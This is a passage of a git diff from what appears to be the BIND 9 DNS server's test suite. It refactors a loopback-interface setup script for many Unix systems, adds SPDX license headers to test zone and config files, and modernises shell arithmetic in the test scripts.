+	    *-*-solaris2.[8-9]|*-*-solaris2.10)
+		[ "$a" ] && {
+			/sbin/ifconfig lo0:$int plumb
+			/sbin/ifconfig lo0:$int $a up
+			/sbin/ifconfig lo0:$int mtu 1500
+		}
+		[ "$aaaa" ] && {
+			/sbin/ifconfig lo0:$int inet6 plumb
+			/sbin/ifconfig lo0:$int inet6 $aaaa up
+		}
+		;;
+	    *-*-solaris2.1[1-9])
+		[ "$a" ] && {
+			/sbin/ipadm create-addr -t -T static \
+				    -a $a lo0/bind9v4$int ||
+			echo failed lo0/bind9v4$int
+		}
+		[ "$aaaa" ] && {
+			/sbin/ipadm create-addr -t -T static \
+				    -a $aaaa lo0/bind9v6$int ||
+			echo failed lo0/bind9v6$int
+		}
+	       ;;
+	    *-*-linux*)
+		if [ "$use_ip" ]; then
+			ip address add $a/24 dev lo:$int
+			ip link set dev lo:$int mtu 1500
+			[ "$aaaa" ] && ip address add $aaaa/64 dev lo
+		else
+			ifconfig lo:$int $a up netmask 255.255.255.0 mtu 1500
+			[ "$aaaa" ] && ifconfig lo inet6 add $aaaa/64
+		fi
+		;;
+	    *-unknown-freebsd*)
+		[ "$a" ] && ifconfig lo0 $a alias netmask 0xffffffff mtu 1500
+		[ "$aaaa" ] && ifconfig lo0 inet6 $aaaa alias
+		;;
+	    *-unknown-dragonfly*|*-unknown-netbsd*|*-unknown-openbsd*)
+		[ "$a" ] && ifconfig lo0 $a alias netmask 255.255.255.0 mtu 1500
+		[ "$aaaa" ] && ifconfig lo0 inet6 $aaaa alias
+		;;
+	    *-*-bsdi[3-5].*)
+		[ "$a" ] && ifconfig lo0 add $a netmask 255.255.255.0
+		;;
+	    *-dec-osf[4-5].*)
+		[ "$a" ] && ifconfig lo0 alias $a
+		;;
+	    *-sgi-irix6.*)
+		[ "$a" ] && ifconfig lo0 alias $a
+		;;
+	    *-*-sysv5uw7*|*-*-sysv*UnixWare*|*-*-sysv*OpenUNIX*)
+		[ "$a" ] && ifconfig lo0 $a alias netmask 0xffffffff
+		;;
+	    *-ibm-aix4.*|*-ibm-aix5.*)
+		[ "$a" ] && ifconfig lo0 alias $a
+		[ "$aaaa" ] && ifconfig lo0 inet6 alias -dad $aaaa/64
+		;;
+	    hpux)
+		[ "$a" ] && ifconfig lo0:$int $a netmask 255.255.255.0 up
+		[ "$aaaa" ] && ifconfig lo0:$int inet6 $aaaa up
+		;;
+	    *-sco3.2v*)
+		[ "$a" ] && ifconfig lo0 alias $a
+		;;
+	    *-darwin*)
+		[ "$a" ] && ifconfig lo0 alias $a
+		[ "$aaaa" ] && ifconfig lo0 inet6 $aaaa alias
+		;;
+	    *)
+		echo "Don't know how to set up interface.  Giving up."
+		exit 1
+		;;
+	esac
+}
+
+down() {
+	case "$sys" in
+	    *-pc-solaris2.5.1)
+		[ "$a" ] && ifconfig lo0:$int 0.0.0.0 down
+		;;
+	    *-sun-solaris2.[6-7])
+		[ "$a" ] && ifconfig lo0:$int $a down
+		;;
+	    *-*-solaris2.[8-9]|*-*-solaris2.10)
+		[ "$a" ] && {
+			ifconfig lo0:$int $a down
+			ifconfig lo0:$int $a unplumb
+		}
+		[ "$aaaa" ] && {
+			ifconfig lo0:$int inet6 down
+			ifconfig lo0:$int inet6 unplumb
+		}
+		;;
+	    *-*-solaris2.1[1-9])
+		[ "$a" ] && {
+			ipadm delete-addr lo0/bind9v4$int ||
+			echo failed lo0/bind9v4$int
+		}
+		[ "$aaaa" ] && {
+			ipadm delete-addr lo0/bind9v6$int ||
+			echo failed lo0/bind9v6$int
+		}
+		;;
+
+	    *-*-linux*)
+		if [ "$use_ip" ]; then
+			[ "$a" ] && ip address del $a/24 dev lo:$int
+			[ "$aaaa" ] && ip address del $aaaa/64 dev lo
+		else
+			[ "$a" ] && ifconfig lo:$int $a down
+			[ "$aaaa" ] && ifconfig lo inet6 del $aaaa/64
+		fi
+		;;
+	    *-unknown-freebsd*)
+		[ "$a" ] && ifconfig lo0 $a delete
+		[ "$aaaa" ] && ifconfig lo0 inet6 $aaaa delete
+		;;
+	    *-unknown-netbsd*)
+		[ "$a" ] && ifconfig lo0 $a delete
+		[ "$aaaa" ] && ifconfig lo0 inet6 $aaaa delete
+		;;
+	    *-unknown-openbsd*)
+		[ "$a" ] && ifconfig lo0 $a delete
+		[ "$aaaa" ] && ifconfig lo0 inet6 $aaaa delete
+		;;
+	    *-*-bsdi[3-5].*)
+		[ "$a" ] && ifconfig lo0 remove $a
+		;;
+	    *-dec-osf[4-5].*)
+		[ "$a" ] && ifconfig lo0 -alias $a
+		;;
+	    *-sgi-irix6.*)
+		[ "$a" ] && ifconfig lo0 -alias $a
+		;;
+	    *-*-sysv5uw7*|*-*-sysv*UnixWare*|*-*-sysv*OpenUNIX*)
+		[ "$a" ] && ifconfig lo0 -alias $a
+		;;
+	    *-ibm-aix4.*|*-ibm-aix5.*)
+		[ "$a" ] && ifconfig lo0 delete $a
+		[ "$aaaa" ] && ifconfig lo0 delete inet6 $aaaa/64
+		;;
+	    hpux)
+		[ "$a" ] && ifconfig lo0:$int 0.0.0.0
+		[ "$aaaa" ] && ifconfig lo0:$int inet6 ::
+		;;
+	    *-sco3.2v*)
+		[ "$a" ] && ifconfig lo0 -alias $a
+		;;
+	    *darwin*)
+		[ "$a" ] && ifconfig lo0 -alias $a
+		[ "$aaaa" ] && ifconfig lo0 inet6 $aaaa delete
+		;;
+	    *)
+		echo "Don't know how to destroy interface.  Giving up."
+		exit 1
+		;;
+	esac
+}
+
+sequence() (
+	awk -v s=$1 -v e=$2 '
+		BEGIN {
+			for (i = s ; i <= e; i++) { print i; }
+			exit;
+		}'
+)
 
-    start|up)
-	for i in 0 1 2
+#
+# 'max', 'i' and 'ns' are used to compute the interface identifier for
+# systems that need it and must be unique for each interface (e.g. lo:$int).
+#
+#	int=$((i * max + ns))
+#
+# 'max' is the number of nameservers configured in the inner loop.
+# 'i' is the outer loop counter.
+# 'ns' in the namserver being configured.
+# 'int' interface identifier.
+#
+# See also `org.isc.bind.system`.
+#
+# This `max` setting is grepped out for use by testsock.pl
+#
+max=11
+case $1 in
+    start|up|stop|down)
+	for i in $(sequence 0 2)
 	do
 		case $i in
 		  0) ipv6="ff" ;;
@@ -49,193 +248,21 @@ case "$1" in
 		  2) ipv6="00" ;;
 		  *) ipv6="" ;;
 		esac
-		for ns in 1 2 3 4 5 6 7 8 9 10
+		for ns in $(sequence 1 $max)
 		do
 			[ $i -gt 0 -a $ns -gt 2 ] && break
-			int=`expr $i \* 10 + $ns`
-			case "$sys" in
-			    *-pc-solaris2.5.1)
-				ifconfig lo0:$int 10.53.$i.$ns \
-					netmask 0xffffffff up
-				;;
-			    *-sun-solaris2.[6-7])
-				ifconfig lo0:$int 10.53.$i.$ns \
-					netmask 0xffffffff up
-				;;
-			    *-*-solaris2.[8-9]|*-*-solaris2.1[0-9])
-				/sbin/ifconfig lo0:$int plumb
-				/sbin/ifconfig lo0:$int 10.53.$i.$ns up
-				/sbin/ifconfig lo0:$int inet6 plumb
-				[ "$ipv6" ] && /sbin/ifconfig lo0:$int \
-					inet6 fd92:7065:b8e:${ipv6}ff::$ns up
-				;;
-			    *-*-linux*)
-                                if [ $use_ip ]; then
-                                        ip address add 10.53.$i.$ns/24 \
-                                            dev lo:$int
-                                        [ "$ipv6" ] && ip address add \
-                                            fd92:7065:b8e:${ipv6}ff::$ns/64 \
-                                            dev lo
-                                else
-                                        ifconfig lo:$int 10.53.$i.$ns up \
-                                                netmask 255.255.255.0
-                                        [ "$ipv6" ] && ifconfig lo inet6 add \
-                                                fd92:7065:b8e:${ipv6}ff::$ns/64
-                                fi
-				;;
-			    *-unknown-freebsd*)
-				ifconfig lo0 10.53.$i.$ns alias \
-					netmask 0xffffffff
-				[ "$ipv6" ] && ifconfig lo0 inet6 \
-					fd92:7065:b8e:${ipv6}ff::$ns alias
-				;;
-			    *-unknown-dragonfly*|*-unknown-netbsd*|*-unknown-openbsd*)
-				ifconfig lo0 10.53.$i.$ns alias \
-					netmask 255.255.255.0
-				[ "$ipv6" ] && ifconfig lo0 inet6 \
-					fd92:7065:b8e:${ipv6}ff::$ns alias
-				;;
-			    *-*-bsdi[3-5].*)
-				ifconfig lo0 add 10.53.$i.$ns \
-					netmask 255.255.255.0
-				;;
-			    *-dec-osf[4-5].*)
-				ifconfig lo0 alias 10.53.$i.$ns
-				;;
-			    *-sgi-irix6.*)
-				ifconfig lo0 alias 10.53.$i.$ns
-				;;
-			    *-*-sysv5uw7*|*-*-sysv*UnixWare*|*-*-sysv*OpenUNIX*)
-				ifconfig lo0 10.53.$i.$ns alias \
-					netmask 0xffffffff
-				;;
-			    *-ibm-aix4.*|*-ibm-aix5.*)
-				ifconfig lo0 alias 10.53.$i.$ns
-				[ "$ipv6" ] && ifconfig lo0 inet6 alias -dad \
-					fd92:7065:b8e:${ipv6}ff::$ns/64
-				;;
-			    hpux)
-				ifconfig lo0:$int 10.53.$i.$ns \
-					netmask 255.255.255.0 up
-				[ "$ipv6" ] && ifconfig lo0:$int inet6 \
-					fd92:7065:b8e:${ipv6}ff::$ns up
-				;;
-			    *-sco3.2v*)
-				ifconfig lo0 alias 10.53.$i.$ns
-				;;
-			    *-darwin*)
-				ifconfig lo0 alias 10.53.$i.$ns
-				[ "$ipv6" ] && ifconfig lo0 inet6 \
-					fd92:7065:b8e:${ipv6}ff::$ns alias
-				;;
-			    *-cygwin*)
-			        echo "Please run ifconfig.bat as Administrator."
-			        exit 1
-			        ;;
-			    *)
-				echo "Don't know how to set up interface.  Giving up."
-				exit 1
+			int=$((i * max + ns))
+			a=10.53.$i.$ns
+			aaaa=fd92:7065:b8e:${ipv6}ff::$ns
+			case "$1" in
+			    start|up) up;;
+			    stop|down) down;;
 			esac
 		done
 	done
 	;;
-
-    stop|down)
-	for i in 0 1 2
-	do
-		case $i in
-		  0) ipv6="ff" ;;
-		  1) ipv6="99" ;;
-		  2) ipv6="00" ;;
-		  *) ipv6="" ;;
-		esac
-		for ns in 10 9 8 7 6 5 4 3 2 1
-		do
-			[ $i -gt 0 -a $ns -gt 2 ] && continue
-			int=`expr $i \* 10 + $ns - 1`
-			case "$sys" in
-			    *-pc-solaris2.5.1)
-				ifconfig lo0:$int 0.0.0.0 down
-				;;
-			    *-sun-solaris2.[6-7])
-				ifconfig lo0:$int 10.53.$i.$ns down
-				;;
-			    *-*-solaris2.[8-9]|*-*-solaris2.1[0-9])
-				ifconfig lo0:$int 10.53.$i.$ns down
-				ifconfig lo0:$int 10.53.$i.$ns unplumb
-				ifconfig lo0:$int inet6 down
-				ifconfig lo0:$int inet6 unplumb
-				;;
-			    *-*-linux*)
-                                if [ $use_ip ]; then
-                                        ip address del 10.53.$i.$ns/24 \
-                                            dev lo:$int
-                                        [ "$ipv6" ] && ip address del \
-                                            fd92:7065:b8e:${ipv6}ff::$ns/64 \
-                                            dev lo
-                                else
-                                        ifconfig lo:$int 10.53.$i.$ns down
-                                        [ "$ipv6" ] && ifconfig lo inet6 \
-                                            del fd92:7065:b8e:${ipv6}ff::$ns/64
-                                fi
-				;;
-			    *-unknown-freebsd*)
-				ifconfig lo0 10.53.$i.$ns delete
-				[ "$ipv6" ] && ifconfig lo0 inet6 \
-					fd92:7065:b8e:${ipv6}ff::$ns delete
-				;;
-			    *-unknown-netbsd*)
-				ifconfig lo0 10.53.$i.$ns delete
-				[ "$ipv6" ] && ifconfig lo0 inet6 \
-					fd92:7065:b8e:${ipv6}ff::$ns delete
-				;;
-			    *-unknown-openbsd*)
-				ifconfig lo0 10.53.$i.$ns delete
-				[ "$ipv6" ] && ifconfig lo0 inet6 \
-					fd92:7065:b8e:${ipv6}ff::$ns delete
-				;;
-			    *-*-bsdi[3-5].*)
-				ifconfig lo0 remove 10.53.$i.$ns
-				;;
-			    *-dec-osf[4-5].*)
-				ifconfig lo0 -alias 10.53.$i.$ns
-				;;
-			    *-sgi-irix6.*)
-				ifconfig lo0 -alias 10.53.$i.$ns
-				;;
-			    *-*-sysv5uw7*|*-*-sysv*UnixWare*|*-*-sysv*OpenUNIX*)
-				ifconfig lo0 -alias 10.53.$i.$ns
-				;;
-			    *-ibm-aix4.*|*-ibm-aix5.*)
-				ifconfig lo0 delete 10.53.$i.$ns
-				[ "$ipv6" ] && ifconfig lo0 delete inet6 \
-					fd92:7065:b8e:${ipv6}ff::$ns/64
-				;;
-			    hpux)
-				ifconfig lo0:$int 0.0.0.0
-				ifconfig lo0:$int inet6 ::
-				;;
-			    *-sco3.2v*)
-				ifconfig lo0 -alias 10.53.$i.$ns
-				;;
-			    *darwin*)
-				ifconfig lo0 -alias 10.53.$i.$ns
-				[ "$ipv6" ] && ifconfig lo0 inet6 \
-					fd92:7065:b8e:${ipv6}ff::$ns delete
-				;;
-			    *-cygwin*)
-				echo "Please run ifconfig.bat as Administrator."
-				exit 1
-				;;
-			    *)
-				echo "Don't know how to destroy interface.  Giving up."
-				exit 1
-			esac
-		done
-	done
+    *)
+	echo "Usage: $0 { up | down }"
+	exit 1
 	;;
-
-	*)
-		echo "Usage: $0 { up | down }"
-		exit 1
 esac
diff --git a/bin/tests/system/include-multiplecfg/clean.sh b/bin/tests/system/include-multiplecfg/clean.sh
index 55be4e10a4..905b2dd29a 100644
--- a/bin/tests/system/include-multiplecfg/clean.sh
+++ b/bin/tests/system/include-multiplecfg/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/include-multiplecfg/ns2/mars.com.db b/bin/tests/system/include-multiplecfg/ns2/mars.com.db
index c0b60829f9..cbae017063 100644
--- a/bin/tests/system/include-multiplecfg/ns2/mars.com.db
+++ b/bin/tests/system/include-multiplecfg/ns2/mars.com.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $TTL 86400
 @     IN     SOA    dns1.mars.com.     hostmaster.mars.com. (
                     2001062501 ; serial
diff --git a/bin/tests/system/include-multiplecfg/ns2/mars.conf b/bin/tests/system/include-multiplecfg/ns2/mars.conf
index 9ebeb54bed..31f6da325f 100644
--- a/bin/tests/system/include-multiplecfg/ns2/mars.conf
+++ b/bin/tests/system/include-multiplecfg/ns2/mars.conf
@@ -1,3 +1,15 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
 
 zone "mars.com" {
         type primary;
diff --git a/bin/tests/system/include-multiplecfg/ns2/named.conf.in b/bin/tests/system/include-multiplecfg/ns2/named.conf.in
index 5386f97523..b38c228013 100644
--- a/bin/tests/system/include-multiplecfg/ns2/named.conf.in
+++ b/bin/tests/system/include-multiplecfg/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,6 +18,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
         notify no;
+	dnssec-validation no;
 };
 
 # Should include all files matching pattern.
diff --git a/bin/tests/system/include-multiplecfg/ns2/zone1.com.db b/bin/tests/system/include-multiplecfg/ns2/zone1.com.db
index 17e932f566..ef9cff4f14 100644
--- a/bin/tests/system/include-multiplecfg/ns2/zone1.com.db
+++ b/bin/tests/system/include-multiplecfg/ns2/zone1.com.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $TTL 86400
 @     IN     SOA    dns1.zone1.com.     hostmaster.zone1.com. (
                     2001062501 ; serial
diff --git a/bin/tests/system/include-multiplecfg/ns2/zone1.conf b/bin/tests/system/include-multiplecfg/ns2/zone1.conf
index 168fff43ec..e5c15adf16 100644
--- a/bin/tests/system/include-multiplecfg/ns2/zone1.conf
+++ b/bin/tests/system/include-multiplecfg/ns2/zone1.conf
@@ -1,3 +1,15 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
 
 zone "zone1.com" {
         type primary;
diff --git a/bin/tests/system/include-multiplecfg/ns2/zone2.com.db b/bin/tests/system/include-multiplecfg/ns2/zone2.com.db
index dc46098952..6df12b2ee8 100644
--- a/bin/tests/system/include-multiplecfg/ns2/zone2.com.db
+++ b/bin/tests/system/include-multiplecfg/ns2/zone2.com.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $TTL 86400
 @     IN     SOA    dns1.zone2.com.     hostmaster.zone2.com. (
                     2001062501 ; serial
diff --git a/bin/tests/system/include-multiplecfg/ns2/zone2.conf b/bin/tests/system/include-multiplecfg/ns2/zone2.conf
index 6b2b0bd6c3..b122b0f981 100644
--- a/bin/tests/system/include-multiplecfg/ns2/zone2.conf
+++ b/bin/tests/system/include-multiplecfg/ns2/zone2.conf
@@ -1,3 +1,15 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
 
 zone "zone2.com" {
         type primary;
diff --git a/bin/tests/system/include-multiplecfg/setup.sh b/bin/tests/system/include-multiplecfg/setup.sh
index eb84f8ff1b..064fb0101a 100644
--- a/bin/tests/system/include-multiplecfg/setup.sh
+++ b/bin/tests/system/include-multiplecfg/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/include-multiplecfg/tests.sh b/bin/tests/system/include-multiplecfg/tests.sh
index 2e47e9be42..65b40012f9 100644
--- a/bin/tests/system/include-multiplecfg/tests.sh
+++ b/bin/tests/system/include-multiplecfg/tests.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -11,6 +13,7 @@
 
 # Test of include statement with glob expression.
 
+set -e
 
 . ../conf.sh
 
@@ -20,42 +23,42 @@ status=0
 n=0
 
 # Test 1 - check if zone1 was loaded.
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking glob include of zone1 config ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 zone1.com. a > dig.out.ns2.$n || ret=1
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^zone1.com.' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 2 - check if zone2 was loaded.
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking glob include of zone2 config ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 zone2.com. a > dig.out.ns2.$n || ret=1
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^zone2.com.' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 3 - check if standard file path (no magic chars) works.
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking include of standard file path config ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 mars.com. a > dig.out.ns2.$n || ret=1
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^mars.com.' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 4: named-checkconf correctly parses glob includes.
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking named-checkconf with glob include ($n)"
 ret=0
 (cd ns2; $CHECKCONF named.conf) || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/include-multiplecfg/tests_sh_include_multiplecfg.py b/bin/tests/system/include-multiplecfg/tests_sh_include_multiplecfg.py
new file mode 100644
index 0000000000..e767c1d698
--- /dev/null
+++ b/bin/tests/system/include-multiplecfg/tests_sh_include_multiplecfg.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_include_multiplecfg(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/inline/clean.sh b/bin/tests/system/inline/clean.sh
index a781b387b5..0344ade978 100644
--- a/bin/tests/system/inline/clean.sh
+++ b/bin/tests/system/inline/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -20,4 +24,4 @@ rm -rf ./*/*.jbk \
    ./*/*.db ./*/*.db.signed ./*/*.db.jnl ./*/*.db.signed.jnl \
    ./*.out ./*.out* ./*/*.out ./*/*.out* \
    ./*/*.bk ./*/*.bk.jnl ./*/*.bk.signed ./*/*.bk.signed.jnl \
-   ns3/a-file ns3/removedkeys
+   ns3/a-file ns3/removedkeys ns3/delayedkeys.conf
diff --git a/bin/tests/system/inline/ns1/named.conf.in b/bin/tests/system/inline/ns1/named.conf.in
index a68caf9d96..da27c58c87 100644
--- a/bin/tests/system/inline/ns1/named.conf.in
+++ b/bin/tests/system/inline/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/inline/ns1/root.db.in b/bin/tests/system/inline/ns1/root.db.in
index 5f8640f55d..7747688370 100644
--- a/bin/tests/system/inline/ns1/root.db.in
+++ b/bin/tests/system/inline/ns1/root.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -26,8 +28,8 @@ ns4.bits.		A	10.53.0.4
 noixfr.			NS	ns3.noixfr.
 ns3.noixfr.		A	10.53.0.3
 
-master.			NS	ns3.master.
-ns3.master.		A	10.53.0.3
+primary.			NS	ns3.primary.
+ns3.primary.		A	10.53.0.3
 
 dynamic.			NS	ns3.dynamic.
 ns3.dynamic.		A	10.53.0.3
@@ -46,12 +48,3 @@ ns3.nsec3.		A	10.53.0.3
 
 externalkey.		NS	ns3.externalkey.
 ns3.externalkey.	A	10.53.0.3
-
-retransfer3.		NS	ns3.retransfer.
-ns3.retransfer3.	A	10.53.0.3
-
-inactiveksk.		NS	ns3.inactiveksk.
-ns3.inactiveksk.	A	10.53.0.3
-
-inactivezsk.		NS	ns3.inactivezsk.
-ns3.inactivezsk.	A	10.53.0.3
diff --git a/bin/tests/system/inline/ns1/sign.sh b/bin/tests/system/inline/ns1/sign.sh
index 80466600d4..c231713a02 100644
--- a/bin/tests/system/inline/ns1/sign.sh
+++ b/bin/tests/system/inline/ns1/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -14,8 +16,8 @@
 zone=.
 rm -f K.+*+*.key
 rm -f K.+*+*.private
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone -f KSK $zone`
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone)
 $SIGNER -S -x -T 1200 -o ${zone} root.db > signer.out
 [ $? = 0 ] || cat signer.out
 
diff --git a/bin/tests/system/inline/ns2/bits.db.in b/bin/tests/system/inline/ns2/bits.db.in
index a86fe8f475..26520471ee 100644
--- a/bin/tests/system/inline/ns2/bits.db.in
+++ b/bin/tests/system/inline/ns2/bits.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/inline/ns2/named.conf.in b/bin/tests/system/inline/ns2/named.conf.in
index 3b1aa65edf..25fc893ebf 100644
--- a/bin/tests/system/inline/ns2/named.conf.in
+++ b/bin/tests/system/inline/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
